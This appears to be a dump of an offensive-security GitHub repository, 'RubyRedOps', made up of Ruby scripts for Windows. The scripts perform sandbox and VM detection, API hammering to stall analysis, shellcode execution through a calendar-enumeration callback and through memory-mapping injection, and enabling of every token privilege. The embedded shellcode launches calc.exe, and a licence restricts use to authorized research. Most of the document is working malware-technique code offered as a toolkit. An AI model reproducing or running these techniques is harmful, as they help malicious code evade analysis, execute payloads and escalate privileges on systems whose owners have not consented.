├── Anti_Analysis └── Anti_Analysis.rb ├── Api_Hammering └── Api_Hammering.rb ├── Callback_Code_Execution └── Callback_Code_Execution.rb ├── Enable_All_Tokens └── Enable_All_Tokens.rb ├── Enumeration_Processes └── Enumeration_Processes.rb ├── Execute_Commands └── Execute_Commands.rb ├── LICENSE ├── Local_Mapping_Injection └── Local_Mapping_Injection.rb ├── OffensiveRuby.png ├── README.md └── Ruby2Exe ├── Readme.md └── Ruby-2-Exe.rb /Anti_Analysis/Anti_Analysis.rb: -------------------------------------------------------------------------------- 1 | require 'ffi' 2 | require 'win32/registry' 3 | require 'win32ole' 4 | 5 | module Anti_Analysis 6 | extend FFI::Library 7 | ffi_lib 'kernel32' 8 | 9 | # sys_info struct 10 | class SYSTEM_INFO < FFI::Struct 11 | layout :wProcessorArchitecture, :uint16, 12 | :wReserved, :uint16, 13 | :dwPageSize, :uint32, 14 | :lpMinimumApplicationAddress, :pointer, 15 | :lpMaximumApplicationAddress, :pointer, 16 | :dwActiveProcessorMask, :pointer, 17 | :dwNumberOfProcessors, :uint32, 18 | :dwProcessorType, :uint32, 19 | :dwAllocationGranularity, :uint32, 20 | :wProcessorLevel, :uint16, 21 | :wProcessorRevision, :uint16 22 | end 23 | 24 | # memstatex struct 25 | class MEMORYSTATUSEX < FFI::Struct 26 | layout :dwLength, :uint32, 27 | :dwMemoryLoad, :uint32, 28 | :ullTotalPhys, :uint64, 29 | :ullAvailPhys, :uint64, 30 | :ullTotalPageFile, :uint64, 31 | :ullAvailPageFile, :uint64, 32 | :ullTotalVirtual, :uint64, 33 | :ullAvailVirtual, :uint64, 34 | :ullAvailExtendedVirtual, :uint64 35 | end 36 | 37 | attach_function :GetSystemInfo, [:pointer], :void 38 | attach_function :GlobalMemoryStatusEx, [:pointer], :bool 39 | end 40 | 41 | def cpucheck 42 | info = Anti_Analysis::SYSTEM_INFO.new 43 | Anti_Analysis.GetSystemInfo(info.pointer) 44 | if info[:dwNumberOfProcessors] < 2 45 | puts "[*] [CPU CHECK] Possibly a virtualised environment" 46 | else 47 | puts "[*] [CPU CHECK] Not virtualised environment" 48 | end 49 | end 50 | 51 | def ramcheck 52 | info = Anti_Analysis::MEMORYSTATUSEX.new 53 | info[:dwLength] = Anti_Analysis::MEMORYSTATUSEX.size 54 | unless Anti_Analysis.GlobalMemoryStatusEx(info.pointer) 55 | puts "GlobalMemoryStatusEx Failed" 56 | return 57 | end 58 | 59 | if info[:ullTotalPhys] <= 2 * 1073741824 60 | puts "[*] [RAM CHECK] Possibly a virtualised environment" 61 | else 62 | puts "[*] [RAM CHECK] Not virtualised environment" 63 | end 64 | end 65 | 66 | 67 | def checkprocesses 68 | system = WIN32OLE.connect('winmgmts://') 69 | processes = system.ExecQuery('Select * from Win32_Process') 70 | proccount = processes.count 71 | if proccount <= 50 72 | puts "[*] [PROC CHECK] Possibly a sandbox environment" 73 | else 74 | puts "[*] [PROC CHECK] Not virtualised environment" 75 | end 76 | end 77 | 78 | def main 79 | ramcheck 80 | cpucheck 81 | checkprocesses 82 | end 83 | 84 | main 85 | -------------------------------------------------------------------------------- /Api_Hammering/Api_Hammering.rb: -------------------------------------------------------------------------------- 1 | require 'securerandom' 2 | require 'tempfile' 3 | 4 | def hammerapi(num) 5 | bufsize = 0xFFFFF 6 | num.times do 7 | Tempfile.create('file.tmp') do |file| 8 | file.write(SecureRandom.random_bytes(bufsize)) 9 | file.flush 10 | file.rewind 11 | file.read(bufsize) 12 | end 13 | end 14 | end 15 | 16 | def primecalc(iters) 17 | prime, i = 2, 0 18 | while i < iters 19 | i += 1 if (2...prime).all? { |j| prime % j != 0 } 20 | prime += 1 21 | end 22 | end 23 | 24 | def main 25 | puts "[+] First method triggered" 26 | begin 27 | hammerapi(2000) 28 | puts "[+] API Hammering successfully completed!" 29 | rescue => e 30 | # skibidi err catching :cool: 31 | puts "[!] Error during API hammering: #{e}" 32 | end 33 | puts "[+] Second method triggered" 34 | primecalc(2000) 35 | end 36 | 37 | main 38 | -------------------------------------------------------------------------------- /Callback_Code_Execution/Callback_Code_Execution.rb: -------------------------------------------------------------------------------- 1 | require 'ffi' 2 | 3 | module Callback_Code_Execution 4 | extend FFI::Library 5 | ffi_lib 'kernel32' 6 | MEM_COMMIT = 0x00001000 7 | MEM_RESERVE = 0x00002000 8 | PAGE_EXECUTE_READWRITE = 0x40 9 | attach_function :VirtualAlloc, [:pointer, :size_t, :uint32, :uint32], :pointer 10 | attach_function :EnumCalendarInfoA, [:pointer, :uint32, :uint32, :pointer], :bool 11 | callback :enum_calendar_info, [:pointer, :uint32, :uint32, :pointer], :bool 12 | end 13 | 14 | def main 15 | shellcode = [ 16 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 17 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 18 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 19 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 20 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 21 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 22 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3 23 | ].pack('C*') 24 | 25 | dbginf = ->(msg) { puts msg } 26 | 27 | address = Callback_Code_Execution.VirtualAlloc(nil, shellcode.bytesize, Callback_Code_Execution::MEM_COMMIT | Callback_Code_Execution::MEM_RESERVE, Callback_Code_Execution::PAGE_EXECUTE_READWRITE) 28 | if address.null? 29 | dbginf.call("Alloc failed: #{FFI.last_error}") 30 | return 31 | end 32 | 33 | dbginf.call("Allocated at: #{address.to_i.to_s(16)}") 34 | FFI::MemoryPointer.new(shellcode.bytesize).tap do |ptr| 35 | ptr.write_bytes(shellcode) 36 | address.write_bytes(ptr.read_bytes(shellcode.bytesize)) 37 | end 38 | dbginf.call("Shellcode written") 39 | 40 | callback = FFI::Function.new(:bool, [:pointer, :uint32, :uint32, :pointer]) do |p1, p2, p3, p4| 41 | dbginf.call("Callback: #{p1.to_i}, #{p2}, #{p3}, #{p4.to_i}") 42 | true 43 | end 44 | 45 | res = Callback_Code_Execution.EnumCalendarInfoA(callback, 0x0400, 0x00000001, address) 46 | if res == 0 47 | dbginf.call("EnumCalendarInfoA failed: #{FFI.last_error}") 48 | else 49 | dbginf.call("EnumCalendarInfoA succeeded") 50 | end 51 | end 52 | 53 | main 54 | -------------------------------------------------------------------------------- /Enable_All_Tokens/Enable_All_Tokens.rb: -------------------------------------------------------------------------------- 1 | require 'ffi' 2 | 3 | module Enable_All_Tokens 4 | extend FFI::Library 5 | # kernerl32.dll -> we will import getcurrentproc and lasterror incase it returns some error, we can after debug it if there are some issues 6 | ffi_lib 'kernel32' 7 | attach_function :GetCurrentProcess, [], :pointer 8 | attach_function :GetLastError, [], :uint32 9 | # advapi32.dll -> we will import openproctoken, lookupprivval and adjust token 10 | ffi_lib 'advapi32' 11 | attach_function :OpenProcessToken, [:pointer, :uint32, :pointer], :bool 12 | attach_function :LookupPrivilegeValueW, [:pointer, :pointer, :pointer], :bool 13 | attach_function :AdjustTokenPrivileges, [:pointer, :bool, :pointer, :uint32, :pointer, :pointer], :bool 14 | # variables that are needed to query and enable 15 | TOKEN_ADJUST_PRIVILEGES = 0x0020 16 | TOKEN_QUERY = 0x0008 17 | SE_PRIVILEGE_ENABLED = 0x00000002 18 | ERROR_NOT_ALL_ASSIGNED = 1300 19 | # classes y probably know lol 20 | class LUID < FFI::Struct 21 | layout :LowPart, :uint32, :HighPart, :int32 22 | end 23 | class LUID_AND_ATTRIBUTES < FFI::Struct 24 | layout :Luid, LUID, :Attributes, :uint32 25 | end 26 | class TOKEN_PRIVILEGES < FFI::Struct 27 | layout :PrivilegeCount, :uint32, :Privileges, [LUID_AND_ATTRIBUTES, 1] 28 | end 29 | end 30 | # tokens that we will enable, you can add or remove some its obv on y 31 | tokens = [ 32 | "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", 33 | "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege", 34 | "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", 35 | "SeDebugPrivilege", "SeDelegateSessionUserImpersonatePrivilege", "SeEnableDelegationPrivilege", 36 | "SeImpersonatePrivilege", "SeIncreaseQuotaPrivilege", "SeIncreaseBasePriorityPrivilege", 37 | "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", 38 | "SeMachineAccountPrivilege", "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", 39 | "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", 40 | "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemtimePrivilege", 41 | "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeTakeOwnershipPrivilege", 42 | "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", "SeUndockPrivilege" 43 | ] 44 | hProcess = Enable_All_Tokens.GetCurrentProcess 45 | hToken = FFI::MemoryPointer.new(:pointer) 46 | if Enable_All_Tokens.OpenProcessToken(hProcess, Enable_All_Tokens::TOKEN_ADJUST_PRIVILEGES | Enable_All_Tokens::TOKEN_QUERY, hToken) 47 | tokens.each do |token| 48 | luid = Enable_All_Tokens::LUID.new 49 | token_ptr = FFI::MemoryPointer.from_string(token.encode('UTF-16LE')) 50 | if Enable_All_Tokens.LookupPrivilegeValueW(nil, token_ptr, luid) 51 | tp = Enable_All_Tokens::TOKEN_PRIVILEGES.new 52 | tp[:PrivilegeCount] = 1 53 | tp[:Privileges][0][:Luid] = luid 54 | tp[:Privileges][0][:Attributes] = Enable_All_Tokens::SE_PRIVILEGE_ENABLED 55 | if Enable_All_Tokens.AdjustTokenPrivileges(hToken.read_pointer, false, tp, 0, nil, nil) 56 | puts Enable_All_Tokens.GetLastError == Enable_All_Tokens::ERROR_NOT_ALL_ASSIGNED ? "The privilege #{token} was not assigned." : "The privilege #{token} was successfully adjusted." 57 | else 58 | puts "err adjusting token privileges for #{token}: #{Enable_All_Tokens.GetLastError}" 59 | end 60 | else 61 | puts "err looking up privilege value for #{token}: #{Enable_All_Tokens.GetLastError}" 62 | end 63 | end 64 | else 65 | puts "err opening process token: #{Enable_All_Tokens.GetLastError}" 66 | end 67 | gets # btw this is pause so you can check in proc hacker or sys informer or wtv modified ver of taskmgr you use lol 68 | 69 | -------------------------------------------------------------------------------- /Enumeration_Processes/Enumeration_Processes.rb: -------------------------------------------------------------------------------- 1 | put = `tasklist /fo csv /nh` 2 | puts "Process | PID" 3 | put.each_line do |line| 4 | prts = line.split('","') 5 | next if prts.size < 2 6 | pid = prts[1].strip.delete('"') 7 | name = prts[0].strip.delete('"') 8 | puts "Process: #{name} | PID: #{pid}" 9 | end 10 | -------------------------------------------------------------------------------- /Execute_Commands/Execute_Commands.rb: -------------------------------------------------------------------------------- 1 | if Gem.win_platform? 2 | mf = `powershell -c "whoami"` 3 | puts mf 4 | system('calc.exe') 5 | end 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 EvilBytecode 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to use the Software for educational and authorized cybersecurity research purposes only, subject to the following conditions: 7 | 8 | The above copyright notice, this permission notice, and the following disclaimer shall be included in all copies or substantial portions of the Software. 9 | 10 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 11 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS (INCLUDING EvilBytecode) BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 12 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE, COPYING, DOWNLOADING, OR OTHER DEALINGS IN THE SOFTWARE. 13 | 14 | DISCLAIMER: I, EvilBytecode, release this project strictly for educational, academic, and authorized cybersecurity research purposes. 15 | By accessing, downloading, copying, using, or modifying this software, you agree to these terms. 16 | You must obtain explicit written permission from system owners before conducting any testing using this software. 17 | Unauthorized use, distribution, or deployment of this software against any third party, device, network, or system without prior consent is strictly forbidden and illegal. 18 | I, EvilBytecode, disclaim all responsibility, liability, or consequences arising from any misuse, illegal activities, damages, or losses resulting from this software. -------------------------------------------------------------------------------- /Local_Mapping_Injection/Local_Mapping_Injection.rb: -------------------------------------------------------------------------------- 1 | require 'ffi' 2 | 3 | module Local_Mapping_Injection 4 | extend FFI::Library 5 | ffi_lib 'kernel32' 6 | 7 | PAGE_EXECUTE_READWRITE = 0x40 8 | FILE_MAP_WRITE = 0x02 9 | FILE_MAP_EXECUTE = 0x20 10 | INVALID_HANDLE_VALUE = -1 11 | INFINITE = 0xFFFFFFFF 12 | THREAD_CREATION_FLAGS = 0 13 | 14 | attach_function :CreateFileMappingA, [:pointer, :pointer, :uint, :uint, :uint, :pointer], :pointer 15 | attach_function :MapViewOfFile, [:pointer, :uint, :uint, :uint, :size_t], :pointer 16 | attach_function :CreateThread, [:pointer, :uint, :pointer, :pointer, :uint, :pointer], :pointer 17 | attach_function :WaitForSingleObject, [:pointer, :uint], :uint 18 | attach_function :CloseHandle, [:pointer], :bool 19 | attach_function :VirtualAlloc, [:pointer, :size_t, :uint, :uint], :pointer 20 | end 21 | 22 | def main 23 | # incase youre scaared, this is just to start a calc lol 24 | shellcode = [ 25 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 26 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 27 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 28 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 29 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 30 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 31 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3 32 | ].pack('C*') 33 | 34 | puts "[+] Creating a mapping file" 35 | hfile = Local_Mapping_Injection.CreateFileMappingA( 36 | FFI::Pointer::NULL, 37 | FFI::Pointer::NULL, 38 | Local_Mapping_Injection::PAGE_EXECUTE_READWRITE, 39 | 0, 40 | shellcode.bytesize, 41 | nil 42 | ) 43 | 44 | if hfile.null? 45 | raise "[-] CreateFileMappingA Failed" 46 | end 47 | 48 | puts "[+] Mapping the file object" 49 | mapaddr = Local_Mapping_Injection.MapViewOfFile( 50 | hfile, 51 | Local_Mapping_Injection::FILE_MAP_WRITE | Local_Mapping_Injection::FILE_MAP_EXECUTE, 52 | 0, 53 | 0, 54 | shellcode.bytesize 55 | ) 56 | 57 | if mapaddr.null? 58 | raise "[-] MapViewOfFile Failed" 59 | end 60 | 61 | mapaddr.write_array_of_uint8(shellcode.unpack('C*')) 62 | 63 | puts "[+] Creating a thread" 64 | hthread = Local_Mapping_Injection.CreateThread( 65 | FFI::Pointer::NULL, 66 | 0, 67 | mapaddr, 68 | FFI::Pointer::NULL, 69 | Local_Mapping_Injection::THREAD_CREATION_FLAGS, 70 | nil 71 | ) 72 | 73 | if hthread.null? 74 | raise "[-] CreateThread Failed" 75 | end 76 | puts "[+] Thread Executed!!" 77 | Local_Mapping_Injection.WaitForSingleObject(hthread, Local_Mapping_Injection::INFINITE) 78 | Local_Mapping_Injection.CloseHandle(hthread) 79 | Local_Mapping_Injection.CloseHandle(hfile) 80 | end 81 | 82 | main 83 | -------------------------------------------------------------------------------- /OffensiveRuby.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvilBytecode/RubyRedOps/66c5a7b3cecb05eb11960cfb13d586270318dce1/OffensiveRuby.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RubyRedOps 2 |

3 | RustRedOps 4 |

5 | 6 | --- 7 | RubyRedOps is a Ruby-based tool or project focusing on offensive security operations. This section provides an overview of its functionalities and use cases. 8 | 9 | ## Tools Currently Supported: 10 | - **Callback Shellcode Execution**: Demonstrates the execution of shellcode via callback mechanisms. 11 | - **Enabling All Privilege Tokens**: Activates all available privilege tokens to escalate or manipulate permissions. 12 | - **Enumerating Processes with Ruby**: Uses Ruby scripts to discover and list active processes on the system. 13 | - **Memory Mapping Injection**: Injects malicious code into local processes through memory mapping, aiming to exploit vulnerabilities. 14 | - **Command Execution**: Executes arbitrary commands within the system using Ruby. 15 | - **Ruby2Exe**: Use Orcan Package to convert Ruby to Executable 16 | - **AntiAnalysis**: Anti Analysis Technique, Running Processes,Cpu Processors and RAM Check. 17 | - **ApiHammering**: API Hammering consists of carrying out various actions to delay the malware. 18 | 19 | 20 | ## License 21 | This project is licensed under the MIT License. See the LICENSE file for details. -------------------------------------------------------------------------------- /Ruby2Exe/Readme.md: -------------------------------------------------------------------------------- 1 | - gem install ocran 2 | - ocran Ruby-2-Exe.rb -------------------------------------------------------------------------------- /Ruby2Exe/Ruby-2-Exe.rb: -------------------------------------------------------------------------------- 1 | puts "Hello from Ocran!" 2 | gets 3 | --------------------------------------------------------------------------------